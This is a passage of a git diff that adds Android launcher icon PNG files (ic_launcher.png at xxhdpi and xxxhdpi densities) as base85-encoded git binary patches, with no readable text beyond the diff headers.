zJU(<^edbz>i;YE8;bruj|41MHnEdCec8`6%nZ!XE+49Kr&OIGH*&FGc)t?4S6Vfm3wZ&tU?4q^GcS>C-Oyme=li3h;hKA zn_Sg5Sh~Hl4b5z;Rl!(Ly)?#eOG}24qYe027+gwD7L5-+3pnER+OV7w%PX79>YEdq l{SmkP2dHrL-s$}VXaxH$D+0^v1N!z0P?S@XEtfV9{158%J&FJT literal 0 HcmV?d00001 diff --git a/app/src/main/res/mipmap-xxhdpi/ic_launcher.png b/app/src/main/res/mipmap-xxhdpi/ic_launcher.png new file mode 100644 index 0000000000000000000000000000000000000000..06b98b69e3e06d5957ecfebff4cd634668f5967b GIT binary patch literal 10701 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 literal 0 HcmV?d00001 diff --git a/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png b/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png new file mode 100644 index 0000000000000000000000000000000000000000..fff103a812c6b0291153062819ebfa11b55ba7b0 GIT binary patch literal 15411 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 